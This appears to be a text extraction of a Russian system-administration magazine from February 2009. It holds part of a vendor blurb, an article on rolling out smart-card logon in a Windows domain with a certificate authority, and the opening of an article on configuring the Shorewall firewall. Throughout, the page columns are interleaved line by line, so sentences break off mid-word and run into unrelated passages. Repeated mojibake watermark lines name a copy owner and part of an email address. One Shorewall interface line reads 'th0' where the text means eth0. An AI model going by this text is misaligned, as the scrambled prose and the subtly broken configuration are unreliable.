Компания GROUP Technologies пред- от вирусов, общаются с одним партне- ковых накопителей для хранения дан-
лагает продукт iQ.Suite который пред- ром, а не с несколькими разработчика- ных, резервное хранение, оборудова-
ставляет собой всестороннее реше- ми, пытающимися свалить вину друг ние для архивации.
ние для полного и действительно на- на друга. Это обеспечивает высокое Сайты: group-technologies.com,
дежного управления электронной кор- качество технической поддержки, вы- iqsuite.ru, avira-antivir.ru.
респонденцией. сокую скорость реакции, незначитель-
iQ.Suite сочетает в себе возмож- ное время остановки системы, что при- Алексей Демин, Ирина Абалихина
ности антивирусной защиты и защи- водит к быстрому
ты от спама на базе известных антиви- решению пробле-
русных продуктов Avira Antivir и Sophos, мы и снижает из-
архивации почты, ее классификации держки. В‑треть-

№2, февраль 2009 45


Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
безопасность

Внедряем смарт-карты
в домене

Станислав Шпак
Смарт-карты – это не только усиление безопасности, но и лишняя статья расходов в бюджете
IT-отдела, а также дополнительная работа для системного администратора. Но если вы
все‑таки решили начать использовать смарт-карты в вашем домене или его части, то давайте
посмотрим, как это сделать и как избежать некоторых проблем и ошибок.

В
прошлом году в «Системном ся переход на двухфакторную провер- имеете. Классическая аутентифика-
администраторе» я рассмат- ку подлинности пользователя при вхо- ция обычно ограничивается только
ривал процесс развертывания де в домен, хотя возможности смарт- первым компонентом, в качестве ко-
системы PKI в домене [1-3]. Опираясь карты этим не ограничиваются. Двух- торого применяется пароль, который
на эту структуру, сейчас рассмотрим факторная аутентификация подра- пользователь предъявляет при вхо-
процесс внедрения смарт-карт в до- зумевает наличие двух компонентов: де в систему. Смарт-карта в этом про-
мене. Основной целью будет являть- что-то, что вы знаете, и что-то, что вы цессе представляет собой второй ком-

46
Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
безопасность
понент, при этом первый – это PIN-код, сов смарт-карты (Smart Card Resource
который пользователь должен ввести Manager (Win32API)) → Драйвер карт-
после помещения карты в карт-ридер ридера → Карт-ридер → Смарт-карта».
(см. рис. 1). В этой цепочке между приложе-
Существуют две категории смарт- нием и менеджером ресурсов (ко-
карт: карты памяти и микропроцес- торый представляет собой Windows-
сорные карты. Первая категория со- компонент) располагаются постав-
Рисунок 1. Диалог входа в Windows
держит только энергонезависимую па- щик служб смарт-карты и, в частности, при использовании смарт-карты
мять, вторая – еще и микропроцессор. его подмножество: «поставщик служб
Любой крупный производитель смарт- криптографии» (CSP – Cryptography n драйверы карт-ридера и програм-
карт выпускает карты обоих типов, по- Service Provider). Это программный мное обеспечение смарт-карты;
этому обращайте внимание на специ- компонент, который должен быть на- n развернутая в домене инфраструк-
фикацию. Микропроцессорные кар- писан производителем смарт-кар- тура открытого ключа (подразуме-
ты, кроме хранения информации, мо- ты с помощью программного интер- вает наличие хотя бы одного цент-
гут еще производить различные вы- фейса Microsoft CryptoAPI. В стан- ра сертификации уровня предприя-
числительные операции. Нас интере- дартную комплектацию Windows XP тия (enterprise CA);
сует подмножество микропроцессор- и 2003 входит поддержка CSP толь- n н а л и ч и е с е р т и ф и к а т о в т и п а
ных карт – криптографические карты ко для шести моделей смарт-карт от enrollment agent (агент подачи за-
(микропроцессорные карты, произво- трех производителей (Gemplus, Infineon явок), позволяющих выпускать сер-
дящие криптографические операции). и Schlumberger). Таким образом, мы тификаты от имени других пользо-
Они существенно повышают безопас- приходим к тому, что в среде Windows вателей.
ность системы, так как в этом случае поддерживаются только смарт-кар-
закрытый ключ (private key) не покида- ты, CSP которых был разработан с ис- Теперь рассмотрим подробно все
ет пределы смарт-карты. пользованием MS CryptoAPI и установ- вышеперечисленные пункты, кроме,
Обычная смарт-карта по форм-фак- лен в системе. разве что, Active Directory.
тору представляет собой аналог бан- Поскольку вряд ли вам удастся при- Минимум настроек, который может
ковской пластиковой карточки. Считы- обрести смарт-карты вышеназванных понадобиться, мы рассмотрим в кон-
вание данных с такой смарт-карты про- моделей, то важный вывод, который це статьи.
изводится специальным устройством – мы сделаем здесь и к которому еще
«смарт-карт-ридером», в который поме- вернемся позже: кроме смарт-карты, Выбор смарт-карты
щается смарт-карта. В настоящее вре- потребуется еще и CPS для нее, ина- и подготовка компьютера
мя все шире используется другой вари- че Windows не сможет с ней работать. Для начала нам надо определиться, ка-
ант исполнения смарт-карты – USB-то- В этом случае вы получите ошибку: кой тип смарт-карты мы хотим исполь-
кен. Внешне он очень похож на обыч- «The card supplied requires drivers that зовать. Будут ли это обычные пласти-
ный USB-флеш-накопитель: совмеща- are not present on this system. Please try ковые смарт-карты, либо USB-токен,
ет в себе смарт-карту плюс карт-ридер another card». (Имеющаяся плата тре- и какой объем памяти должен быть
и вставляется непосредственно в USB- бует наличия драйверов, отсутствую- на смарт-карте. Имейте в виду, что око-
разъем компьютера без каких-то до- щих в системе. Попробуйте использо- ло 16 Кб будет занимать операционная
полнительных устройств. USB-токен вать другую плату.) система смарт-карты, а место, занима-
кажется удобнее, однако на обычную Опустим особенности перевода емое пользовательским сертифика-
смарт-карту можно нанести информа- слова «card» как «плата», из-за кото- том, будет зависеть от длины ключа.
цию о сотруднике и использовать еще рого смысл ошибки на русском язы- Конечно, даже на смарт-карте с 32 Кб
и как удостоверение личности. Какой ке несколько искажается. Кроме то- памяти хватит места для размеще-
вариант лучше – решать вам, каждый го, смарт-карту перед использовани- ния сертификата пользователя, одна-
имеет свои плюсы и минусы, причем ем надо инициализировать – штатных ко не надо забывать, что на ней мож-
в зависимости от условий примене- средств для этого в Windows также не но хранить и дополнительные данные.
ния. Например, в случае использования предусмотрено, поэтому вопрос со- Для пробы я решил воспользоваться
USB-токенов нет необходимости обору- путствующего программного обеспе- обоими видами смарт-карт и приобрел
довать рабочие места смарт-карт-риде- чения надо оговаривать с поставщи- 64 Кб смарт-карту Siemens и USB-карт-
рами, и это может быть как плюсом, так ком смарт-карт заранее. ридер для нее, а также 64 Кб USB-то-
и минусом. Все, о чем будет говориться Перейдем от теории к практике. кен Charismatic. В комплектацию пос-
далее в статье, одинаково применимо Для того чтобы в нашем домене мож- тавки пластиковой смарт-карты входи-
как к обычным «пластиковым» смарт- но было входить в систему с исполь- ла только сама карта, а к токену еще
картам, так и к USB-токенам. зованием смарт-карт, нам потребуют- прилагался комплект ПО. Карт-ридер
Приложения в Windows работают ся следующие компоненты: также поставлялся без драйверов, од-
со смарт-картами по следующей це- n Active Directory; нако на сайте продавца были все не-
почке [4]: «Приложение → Поставщик n микропроцессорная смарт-карта обходимые ссылки на сайт производи-
служб для смарт-карты (Smart Card (плюс смарт-карт ридер) или USB- теля, где без труда удалось раздобыть
Service Provider) → Менеджер ресур- токен; драйвер для Windows XP.

№2, февраль 2009 47


Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
безопасность
мер, комплект нужного ПО для Siemens CardOS стоил чуть
меньше 20$ с лицензией на 1 ПК.
Не будучи уверенным, что все понял правильно, я свя-
зался с поставщиком смарт-карт, где меня заверили, что
так оно и есть, но они предоставляют ПО от Charismatic,
которое работает не только с одноименными токенами, но
и с некоторыми смарт-картами. Действительно, так и ока-
залось, однако скачать это ПО с сайта производителя бы-
ло нельзя и пришлось получать его от поставщика смарт-
карт. Имейте это в виду.
Итак, действия, которые нужно выполнить на этом ша-
Рисунок 2. Инициализация смарт-карты ге: подключить и установить драйверы карт-ридера либо
USB-токена (для него тоже могут понадобиться драйверы),
установить прилагаемое ПО, которое как минимум должно
включать в себя СSP (обычно один или несколько dll-фай-
лов) и пользовательский интерфейс для инициализации и
работы со смарт-картой/токеном. Инициализировать смарт-
карту или токен – требуемые действия тут могут отличаться
в зависимости от используемого ПО. На рис. 2 представ-
лен пример инициализации токена с помощью программы
Charismatic Smart Security Interface Manager.

Настройка доменного окружения


Теперь перейдем к настройке доменного окружения.
В качестве PKI в домене будем опираться на структуру,
которая рассматривалась в [1-3]. Напомню, что речь шла
о цепочке из трех серверов сертификации, первые два
из которых были изолированные корневой и подчиненный
центры сертификации (Certificate Authority – СА), а третий –
подчиненный СА уровня предприятия с именем EntCA. Все
Рисунок 3. Страница выбора вариантов для запроса
сертификата настройки, связанные с внедрением смарт-карт, будут вы-
полняться именно на этом СА.
Смарт-карта для пользователя выпускается следующим
образом: сотрудник со специальным сертификатом, поль-
зуясь специально подготовленной рабочей станцией, через
веб-страницу запрашивает с центра сертификации пред-
приятия сертификат для пользователя. Этот сертификат
помещается на заранее инициализированную смарт-кар-
ту, которая и вручается пользователю.
Сертификаты, позволяющие запрашивать пользова-
тельские сертификаты для смарт-карты, – это Enrollment
Agent (агент подачи заявок) и Enrollment Agent (Computer)
(агент подачи заявок (компьютер)). Первый устанавлива-
ется в локальное хранилище сертификатов пользователя,
второй – в локальное хранилище сертификатов компью-
тера, с которого будет производиться запрос сертифика-
тов для смарт-карты. Чтобы выпустить сертификаты типа
Enrollment Agent, надо подготовить их шаблоны. Процеду-
ра аналогична описанной в [3]. Скажу лишь, что ввиду вы-
Рисунок 4. Запрос сертификата для смарт-карты сокой важности рекомендуется права на выпуск этого ти-
па сертификатов дать лишь одному пользователю и одно-
Здесь будет весьма уместно вспомнить о том, что для му компьютеру – тому, который и будет заниматься выпус-
смарт-карты потребуется еще и CSP. Поскольку к смарт- ком смарт-карт.
карте никакого ПО не прилагалось, то Windows отказа- Кроме того, надо подготовить шаблоны сертификатов
лась записывать на смарт-карту данные, поскольку кар- пользователя для смарт-карты. Существует два таких шаб-
та была не инициализирована и CSP для нее не был уста- лона: Smartcard Logon (вход со смарт-картой) и Smartcard
новлен в системе. User (пользователь со смарт-картой). Первый используется
Исследование Интернета на предмет нужного ПО пока- только для входа в систему по смарт-карте, второй – для вхо-
зало, что таковое имеется, но является платным – напри- да в систему и шифрования. Проверьте, что для выбранно-

48
Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
безопасность
го вами шаблона имеются права Enroll (выпуск) для домен- веб-страницу СА. Оказалось, что проблема кроется в фай-
ной группы EnrollmentAgent. ле certrqad.asp, который находится в %SYSTEMROOT%\
system32\certsrv. При сравнении этого файла между тес-
Выпуск смарт-карты товым и корпоративным СА оказалось, что в рабочем от-
Для выпуска смарт-карты на рабочую станцию, у которой сутствует следующий раздел:
есть право Enroll для шаблона Enrollment Agent (Computer),
в систему должен войти пользователь, имеющий право <% If bNewThanNT4 And "Enterprise"=sServerType Then %>
<TR>
Enroll для шаблона Enrollment Agent. Далее через веб-ин- <TD><Img Src="certspc.gif" Alt="" Height=10 ↵
терфейс нужно обратиться к центру сертификации (в на- Width=1></TD>
</TR>
шем случае это адрес http://EntCA/certsrv, где EntCA – имя <TR>
сервера). Имеет смысл предварительно добавить этот ад- <TD><A Href="certsces.asp"><LocID ID=locLblSmartcard>
Request a certificate for a smart card on behalf ↵
рес в список доверенных узлов в настройке безопасности of another user
браузера, иначе потом можно столкнуться с блокировани- by using the smart card certificate enrollment ↵
station.</LocID></A>
ем ActiveX-компонента. <LocID ID=locAdminWarn><Font Size=-1><BR>
На открывшейся странице из списка предложенных ва- Note: You must have an enrollment agent certificate ↵
to submit a
риантов надо выбрать Request a certificate (запрос серти- request on behalf of another user.</Font></LocID>
фиката), тем самым перейдя на страницу с тремя пункта- </TD>
</TR>
ми, последний из которых Request a certificate for a smart <%End If%>
card on behalf of another user by using the smart card certificate
enrollment station (запросить сертификат для смарт-карты В статье [3] я писал о том, что СА под управлением
от имени другого пользователя, используя станцию пода- Windows Server 2003 не совместим с Windows Vista, и гово-
чи заявок смарт-карт). Остановимся в этом месте подроб- рил о необходимости установки обновления KB922706 для
нее (см. рис. 3). Windows 2003. Однако, как оказалось, именно после уста-
Я очень много времени провел в поисках причины того, новки этого обновления с веб-страницы СА пропадает пункт
почему на этой странице в моем случае были только первые запроса сертификата для смарт-карты. Решение пробле-
два пункта и отсутствовал третий. Причем в тестовом доме- мы заключается в том, чтобы вручную добавить эту часть
не он был, а в рабочем – нет. Не найдя ничего связного в Ин- в файл certrqad.asp или же восстановить его из соответс-
тернете, пришлось обратиться к файлам, формирующим твующей папки резервной копии, которая создается авто-

Реклама

№2, февраль 2009 49


Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
безопасность
ек на компьютере пользователя, кро- Первая опция Interactive logon:
ме установки драйверов для смарт- Require smart card (вход в систему:
карт-ридера и ПО смарт-карты. После требуется смарт-карта) может при-
этого достаточно вставить смарт-карту нимать состояние Enable (включено)
в карт-ридер (или токен в USB-разъем), или Disable (выключено) и при вклю-
как стандартное окно запроса пароля чении означает безусловную необ-
при входе в систему сменится на за- ходимость в смарт-карте при входе
прос PIN-кода (см. рис. 5). в систему. В этом случае без смарт-
Рисунок 5. Вход в систему
с использованием смарт-карты Сменить PIN-код пользователь мо- карты пользователь не сможет осу-
жет с помощью ПО смарт-карты. В слу- ществить вход. Это надо иметь в ви-
матически в %Systemroot% при уста- чае если PIN-код забыт, администра- ду, так как может возникнуть ситуация,
новке каждого обновления. После это- тор с помощью административного па- когда пользователь забыл или потерял
го, возможно, потребуются перезапуск роля может установить новый PIN‑код, смарт-карту, или же требуется войти
служб IIS на сервере и очистка кэша а если утерян и административный в домен через компьютер, на котором
браузера на клиенте. PIN‑код, можно повторно инициализи- не установлены драйвер карт-ридера
Итак, с этой проблемой мы разобра- ровать смарт-карту с помощью систем- или ПО смарт-карты.
лись, выбираем третий пункт и попада- ного PIN-кода. В этом случае все дан- Вторая опция: Interactive logon:
ем на страницу Smart Card Certificate ные, содержащиеся на смарт-карте, бу- Smart card removal behavior (вход в сис-
Enrollment Station (станция подачи за- дут уничтожены. Если утерян и систем- тему: поведение при извлечении смарт-
явок смарт-карт) (см. рис. 4). Здесь ный PIN-код, смарт-карту можно сме- карты) означает поведение рабочей
надо выбрать, какой шаблон исполь- ло выбрасывать. станции при изъятии смарт-карты
зовать (Smartсard User или Smartсard На одну смарт-карту можно помес- из карт-ридера. Допустимыми состо-
Logon), указать выпускающий СА и вы- тить несколько сертификатов, однако яниями являются No action (бездейс-
брать поставщика служб криптографии. для входа в систему Windows XP/2003 твие), Lock workstation (блокировка ра-
В выпадающем списке CSP надо вы- будет использоваться только один – бочей станции) и Force Logoff (выход
брать именно тот CSP, который уста- так называемый «контейнер по умол- из системы). Эта опция работает толь-
навливался для вашего типа смарт-кар- чанию». Его можно определить с по- ко при включенной первой опции.
ты, иначе процесс записи сертифика- мощью ПО смарт-карты. Для Windows Как я уже говорил, применение
та на смарт-карту окончится неудачей. Vista этого ограничения уже нет – смарт-карты не ограничивается толь-
Если на компьютере установлен более в этой ОС можно указать, какой серти- ко входом в систему. В настоящее вре-
чем один сертификат типа Certificate фикат из имеющихся на карте нужно мя многие приложения умеют хранить
Request Agent, то в поле Administrator использовать для входа – по крайней сертификаты на смарт-карте, напри-
Signing Certificate (сертификат подписи мере это заявлено в документации. мер Mozilla Firefox, OpenVPN, TrueCrypt
администратора) можно выбрать серти- Смарт-картой можно пользоваться и др. Как использовать смарт-кар-
фикат нужного администратора. и при входе на удаленные компьютеры ту – это уже решать вам, но надеюсь,
Ну и самое главное – в разделе по RDP-протоколу. Для этого в свойст- что эта статья поможет вам в самом
User to enroll (заявляемый пользова- вах RDP-подключения надо на вклад- начале процесса внедрения смарт-
тель) надо выбрать пользователя, чей ке Local Resources (локальные ресур- карт в домене.
сертификат будет помещен на смарт- сы) нажать кнопку More (еще) и уста-
карту. Когда это будет сделано, спра- новить опцию Smart Card (смарт-кар- 1. Шпак С. Установка цепочки серверов
ва внизу страницы появится кнопка та) – однако и тут надо помнить о том, сертификации как часть внедрения PKI
Enroll (подать заявку), после нажатия что на удаленном компьютере долж- в домене. Часть 1. //Системный адми-
на которую система попросит вас вста- но стоять все необходимое для рабо- нистратор, №8, 2008 г. – С. 54-58.
вить смарт-карту, ввести PIN-код (ус- ты смарт-карты ПО, иначе вы получи- 2. Шпак С. Установка цепочки серверов
танавливаемый при инициализации) те ошибку, о которой говорилось ранее сертификации как часть внедрения PKI
и произведет на нее запись всех нуж- в разделе «Общие сведения». в домене. Часть 2. //Системный адми-
ных данных. Что касается пользовательских нистратор, №10, 2008 г. – С. 60-64.
Замечание: в среде Windows не су- настроек Active Directory, то для ра- 3. Шпак С. Установка цепочки серверов
ществует штатных средств по смене боты со смарт-картами предусмотре- сертификации как часть внедрения PKI
PIN-кода смарт-карты, эти средства ны две опции. Обе доступны в вет- в домене. Часть 3. //Системный адми-
обычно поставляются в составе ПО ке: «Local Computer Policy → Computer нистратор, №11, 2008 г. – С. 66-69.
смарт-карты. Configuration → Windows Settings → 4. Smart Cards – http://technet.microsoft.
Security Settings → Local policies → com/en-us/library/dd277362.aspx.
Использование Security Options» («Локальная полити- 5. Deploying Smart Cards – http://technet.
смарт‑карты ка компьютера → Конфигурация ком- microsoft.com/ru-ru/library/dd277383(en-
Теперь мы имеем рабочую смарт-карту пьютера → Конфигурация Windows → us).aspx
с сертификатом пользователя. Для то- Параметры безопасности → Локаль- 6. Blog about Smart Card infrastructure
го чтобы начать ее использовать, ные политики → Параметры безопас- in Windows – http://blogs.msdn.com/
не требуется никаких особых настро- ности»). shivaram.

50
Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
Реклама

Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
безопасность

Shorewall: iptables
с человеческим лицом

Валентин Синицын
Едва ли можно утверждать, что Linux испытывает недостаток в средствах настройки
межсетевых экранов. Чем же выделяется из них Shorewall? Попробуем разобраться!

О
рганизация шлюза для выхода вероятнее всего, будет выделен обыч- со товарищи все более-менее ясно:
в Интернет – та задача, с кото- ный компьютер под управлением спе- у администратора есть веб-интер-
рой неминуемо сталкивается циализированного (IpCop, Smoothwall, фейс, через который задаются необ-
практически любой администратор. ClarkConnect и т. п.) или универсально- ходимые параметры и активируются
Естественно, для сетей разных раз- го (Debian, Red Hat, …) дистрибутива требуемые сервисы, после чего систе-
меров она будет решаться по-разному, Linux (случай с BSD оставим для дру- ма оказывается способной решать ти-
но в сегменте SOHO для этих целей, гой статьи). При использовании IpCop повые задачи без сколько-нибудь се-

52
Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
безопасность
рьезной настройки. Это очень удобно
и эффективно, до тех пор, пока те са- Устанавливаем Shorewall тельно рекомендую также загрузить и до-
мые задачи не выходят за рамки ти- Из всех крупных дистрибутивов Linux, кументацию: она содержится в архиве
повых. Как только это случается, за- по умолчанию Shorewall включен толь- shorewall-docs-html-4.2.x. А вот shorewall‑lite
частую оказывается проще настро- ко в Mandriva (где он является межсете- пока можете оставить: это облегченный ва-
ить с нуля универсальный дистрибу- вым экраном по умолчанию) и репозито- риант, позволяющий загружать уже гото-
тив, чем перекроить «под себя» спе- рии Debian. Пакеты существуют для Red вые правила, заранее сгенерированные
циализированный. Hat/Fedora и других RPM-дистрибутивов, на отдельном компьютере, но не компи-
Универсальность, в свою очередь, а также Arch Linux. лировать их.
обычно подразумевает несколько воз- Если все это не про вас, установить С зависимостями проблем возникнуть
можных путей решения одной и той же Shorewall можно вручную. Вам потребуется не должно: потребуется достаточно новое
задачи, даже если речь идет о вещах два архива: shorewall-common-4.2.x, содер- ядро и Iptables/iproute2, а также интерпре-
столь обыденных, как настройка меж- жащий файлы, общие для всех разновид- татор Perl с рядом распространенных мо-
сетевого экрана и маршрутизации. ностей Shorewall, и компилятор: shorewall- дулей или Bash. Все подробности можно
Практически все современные дист- perl-4.2.x или shorewall-shell-4.2.x. Настоя- найти в документации.
рибутивы Linux предлагают для этих
целей собственные инструменты реализовать. Надо отметить, что ге- кая единица, объединяющая в себе од-
(как консольные, так и графические), нерируемые Shorewall правила от- нородные (с точки зрения доступа) уз-
но, в принципе, ничего не мешает ис- нюдь не избыточны и грамотно струк- лы сети. Классическими примерами
пользовать iptables/iproute2 и напря- турированы, то есть одной из «обер- зон являются локальная сеть, Интернет
мую. Кроме того, существует как ми- точных проблем» – нечитабельного и демилитаризованная зона DMZ. Как
нимум один универсальный конфигу- вывода – можно не опасаться. Более правило, зоны отображаются на сете-
ратор, подходящий практически к лю- того, все создаваемые в ходе работы вые интерфейсы по принципу 1:1, хо-
бому дистрибутиву, а в Mandriva даже компилятора вспомогательные скрип- тя подобный подход никоим образом
выполняющий роль того самого «соб- ты имеют аккуратные отступы, так что не навязывается.
ственного инструмента» – Shorewall (при желании) в них всегда можно ра- Обмен трафиком между зонами
(www.shorewall.net) Томаса Истепа зобраться. контролируется так называемыми по-
(Thomas M. Eastep). Вот о нем-то мы Из недостатков Shorewall нужно литиками. Естественно, его можно раз-
и поговорим подробнее. отметить некоторую потерю гибкос- решить (ACCEPT), запретить (DROP)
Основная задача Shorewall – пре- ти (по сравнению с использованием или отклонить (REJECT). В последнем
образование высокоуровневой логи- «чистых» iptables/iproute2 ) и, что более случае отправитель получит соответс-
ки работы межсетевого экрана, опи- важно, статичность создаваемой кон- твующее уведомление (RST для TCP
санной в многочисленных конфигура- фигурации. Для внесения каких-либо или ICMP Unreachable для других про-
ционных файлах /etc/shorewall, в низ- изменений (скажем, добавлении пра- токолов). Тонкая настройка произво-
коуровневые правила iptables. В тер- вила фильтрации) нужно отредактиро- дится с помощью правил, представля-
минах Shorewall, такой процесс назы- вать соответствующие файлы (правда, ющих собой исключения из ранее за-
вается «компиляцией» и выполняется это необязательно делать напрямую – данной политики (например, для па-
с помощью «компилятора» – скрипта Shorewall умеет выполнять подстанов- ры зон «DMZ-локальная сеть» име-
на языке оболочки или на Perl. Изна- ки переменных) и выполнить повтор- ет смысл установить политику DROP,
чально Shorewall был написан на чис- ную компиляцию. В некоторых случа- но разрешить соединение с конкрет-
том Shell; Perl-компилятор (Shorewall- ях это может быть неприемлемо. ными системами по определенным
perl) появился в версии 3.4.2 как со- В заключение этого вводного обзо- протоколам прикладного уровня).
путствующий продукт, но в настоящий ра хочу обратить внимание на еще од- Таким образом, настройка Shorewall
момент он уже является более гибким, но преимущество Shorewall – превос- в простейшем случае сводится к сле-
чем исходный вариант, ныне извест- ходную документацию, как справоч- дующим шагам (здесь и далее предпо-
ный как Shorewall-shell. Shorewall-perl ную, так и обучающую. В дистрибути- лагается, что общим корнем для кон-
работает гораздо быстрее «собрата», ве можно найти заготовки конфигура- фигурационных файлов программы
аккуратнее проверяет конфигурацион- ционных файлов для типовых ситуа- является /etc/shorewall; это значение
ные файлы на этапе компиляции (и ге- ций: отдельная машина, шлюз, шлюз может быть переопределено пара-
нерирует более подробные сообще- с DMZ. Исходя из этого обстоятельства, метром CONFIG_PATH в главном кон-
ния об ошибках), поэтому, если у вас я не буду пытаться обогнать указанные фигурационном файле /etc/shorewall/
нет каких-то специальных требований ресурсы в плане подробности изложе- shorewall.conf):
или антипатии к Perl, есть смысл оста- ния, а постараюсь проиллюстрировать n Определить зоны в /etc/shorewall/
новиться именно на нем. подходы к настройке Shorewall в ряде zones.
О с н о в н ы м п р е и м у щ е с т в о м распространенных ситуаций. n Задать политики обмена трафи-
Shorewall является уже упомянутая ком между каждой парой зон в /etc/
выше высокоуровневость: вы сооб- Базовая настройка shorewall/policy.
щаете, что нужно сделать, предоста- Центральной концепцией при настрой- n Указать «списочный состав» зон
вив программе самой решать, как это ке Shorewall является зона – логичес- в /etc/shorewall/interfaces и (в бо-

№2, февраль 2009 53


Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
безопасность
лее сложных случаях /etc/shorewall/hosts). В принципе, #SOURCE DEST POLICY LOG LEVEL LIMIT:BURST
loc net ACCEPT
предназначение /etc/shorewall/interfaces более широ- all all REJECT info
кое, чем может показаться из предыдущего предложе-
ния, но в целях настоящей статьи мы не будем касать- Обратите внимание на последнюю строку: она интерес-
ся подобных «тонкостей». на нам по двум причинам. Во-первых, в ней задается поли-
n Настроить правила пакетной фильтрации в /etc/shorewall/ тика по умолчанию, которая действует, если для некоторой
rules. пары зон не найдена никакая другая, во-вторых, весь тра-
n Опционально: если в локальной сети используются не- фик, удовлетворяющий политике по умолчанию, протоко-
маршрутизируемые («серые») адреса, активировать лируется в syslog с уровнем info. Указанный вид политики
маскрадинг/SNAT в /etc/shorewall/masq (обратите вни- по умолчанию является своего рода хорошим тоном: счи-
мание: все, что касается DNAT, содержится не здесь, а тается, что для всех штатных ситуаций предусмотрены спе-
в /etc/shorewall/rules). циальные политики и срабатывание умолчательной явля-
ется сигналом о подозрительной активности.
Давайте разберемся, как все это работает, на простей- Если заглянуть все в тот же каталог Samples, можно за-
шем примере: подключении к Интернету одной локальной метить, что предлагаемый авторами Shorewall набор поли-
сети. Соответствующие заготовки можно найти в shorewall- тик выглядит чуть сложнее, а именно:
common-4.2.x.tar.bz2/Samples/two-interfaces (см. врезку «Ус-
тановка Shorewall»), но прежде чем вы возьметесь за них, #SOURCE DEST POLICY LOG LEVEL LIMIT:BURST
loc net ACCEPT
позвольте продублировать предостережение из фирмен- net all DROP info
ной документации: не администрируйте Shorewall удален- all all REJECT info
но через SSH (или хотя бы не производите через SSH его
первоначальную настройку). Это возможно и неплохо ра- Отличие состоит в том, что весь входящий из Интер-
ботает, но в один прекрасный момент вы непременно за- нета трафик игнорируется посредством DROP: разумный
блокируете себе сетевой доступ, и вам все равно придет- подход к безопасности подсказывает, что не следует уве-
ся идти на склад за клавиатурой и монитором. Если вы эк- домлять потенциального взломщика о том, что вы сущест-
спериментируете на реальной машине, озаботьтесь этим вуете и как-то обрабатываете его пакеты. Протоколирова-
с самого начала. ние можно и выключить: вряд ли вы будете ежедневно про-
Для начала разберемся с зонами. В данном случае их дираться через тысячи строк журнальных файлов в поис-
понадобится три штуки: одна для Интернета (назовем ее ках потенциально опасных действий, а какой-нибудь Snort
net), одна для локальной сети (loc) и одна (fw) для само- справится с этой задачей лучше и быстрее (кстати, если
го брандмауэра; наличие последней зоны является обяза- вы действительно собираетесь использовать его в связке
тельным во всех конфигурациях. Имена зон можно выби- с Shorewall, внимательно прочтите все, что касается поли-
рать произвольно (за вычетом зарезервированных ключе- тики QUEUE на man-странице shorewall-policy).
вых слов, вроде all и none), но в настройках по умолчанию Если же не просто заглянуть в каталог Samples, а еще
они не могут быть длиннее пяти символов. Имя зоны бран- и прочитать файл two-interfaces/policy со всем тщанием,
дмауэра (в нашем примере – fw) сохраняется в перемен- вы заметите, что политик в нем на самом деле не три, а де-
ной $FW, с которой мы еще не раз встретимся по ходу из- сять. Как отмечают сами авторы, это сделано для большей
ложения. Зоны net и loc имеют тип ipv4 (последние версии детализации сообщений в журнальных файлах: функцио-
Shorewall поддерживают также протокол IPv6, но мы не бу- нальность, что у десяти, что у трех, одинаковая; кроме то-
дем говорить о нем в контексте данной статьи), для fw за- го, «разворачивать» политики Shorewll может автоматичес-
резервирован специальный тип – firewall. ки. Поэтому мы тоже побережем журнальное пространство
В итоге файл /etc/shorewall/zones примет следующий и перейдем к интерфейсам. Соответствующий файл /etc/
вид: shorewall/interfaces выглядит так:

#ZONE TYPE OPTIONS IN OUT #ZONE INTERFACE BROADCAST OPTIONS


# OPTIONS OPTIONS net th0 detect dhcp,tcpflags,routefilter, ↵
fw firewall nosmurfs,logmartians
net ipv4 loc eth1 detect tcpflags,nosmurfs
loc ipv4

Комментарии удалены ради экономии места, полный вари- Как нетрудно догадаться, локальная сеть в этом приме-
ант можно найти в указанном выше каталоге Samples. ре подключена к интерфейсу eth1, а выход в Интернет обес-
Перейдем к политикам. В данном случае они сводятся печивается через eth0 (автор предпочитает прямо противо-
